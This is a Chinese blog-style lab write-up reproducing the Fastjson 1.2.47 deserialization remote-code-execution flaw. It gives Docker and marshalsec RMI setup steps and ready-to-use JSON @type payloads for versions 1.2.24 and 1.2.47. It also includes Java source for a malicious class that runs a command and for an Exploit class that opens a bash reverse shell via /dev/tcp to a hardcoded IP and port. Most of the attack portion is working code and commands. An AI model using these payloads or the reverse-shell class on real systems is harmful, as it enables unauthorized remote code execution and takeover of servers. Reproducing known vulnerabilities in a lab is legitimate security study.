张小白的实验室Fastjson1.2.47反序列化漏洞复现

实验环境

攻击机C:Windows 10 企业版 LTSC

靶机A:CentOS8 (公网)

监听主机B:Centos7(公网)

项目地址:

https://github.com/vulhub/vulhub

该篇复现环境是fastjson1.2.47,复现手法同时适用于fastjson1.2.24,payload已在下文提供

 

基础环境搭建

    在靶机A上安装docker

curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repoyum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpmyum install docker-cesystemctl start docker

    更换镜像源

vi /etc/docker/daemon.json

 

    修改文件内容,镜像源地址可以用阿里云的镜像地址,百度的镜像源会有一个包下载很慢。自己登陆阿里云获取

{        "registry-mirrors": ["https://xxxxx.mirrors.aliyun.com"]}

张小白的实验室Fastjson1.2.47反序列化漏洞复现_第1张图片

保存退出之后,重新加载配置,重启docker

systemctl daemon-reloadsystemctl restart docker

摘取镜像

docker pull busybox

成功打印出"hello world"说明配置成功

docker run busybox echo “hello world”

到此docker配置完成

接下来部署实验环境

 

 

实验环境搭建

项目地址

https://github.com/vulhub/vulhub

下载后上传至靶机A任意目录,进入目录

vulhub-master/fastjson/1.2.47-rce

启动docker编译

docker-compose up -d

 

PS

很多人pip装不上,这里的方法亲测有效;

yum install -y python38wget https://bootstrap.pypa.io/get-pip.pysudo  python3 get-pip.pypip -versionpip install docker-compose

 

张小白的实验室Fastjson1.2.47反序列化漏洞复现_第2张图片

 

张小白的实验室Fastjson1.2.47反序列化漏洞复现_第3张图片

 

 

在监听主机B上安装Tomcat,远程加载恶意类。

拉取docker镜像

docker pull rightctrl/tomcat

映射到服务器8080端口

docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat
访问http://ip:8080

张小白的实验室Fastjson1.2.47反序列化漏洞复现_第4张图片

 
把编译好的恶意类拷贝进docker环境,具体路径进入docker查找
docker cp TouchFile.class  tomcat:/opt/tomcat/webapps/
TouchFie.class的java源码如下:
import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}
上传成功后确认可以访问TouchFile.class

继续在监听主机B上使用marshalsec快速开启rmi或ldap服务
marshalsec项目地址
https://github.com/mbechler/marshalsec
使用maven编译jar包
mvn clean package -DskipTests
进入target目录,并开启rmi或者ladp服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://恶意类的IP:8080/#TouchFile 8088

 

 

复现步骤

 

攻击机C上直接访问搭好的漏洞环境

张小白的实验室Fastjson1.2.47反序列化漏洞复现_第5张图片

payload

 

//1.2.24以下版本{    "a":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}//1.2.47以下版本{"a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}

 发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class

可以看到已经成功执行touch /tmp/success

张小白的实验室Fastjson1.2.47反序列化漏洞复现_第6张图片

 

 

同理可反弹shell

反弹shell文件(除了远程加载的恶意类不同,其他操作均相同)

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/175.24.81.132/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}

在监听主机B上同时用NC监听端口

 

张小白的实验室Fastjson1.2.47反序列化漏洞复现_第7张图片

成功拿shell

 

 

 

 

 

 

你可能感兴趣的:(张小白的实验室,fastjson,java,渗透测试)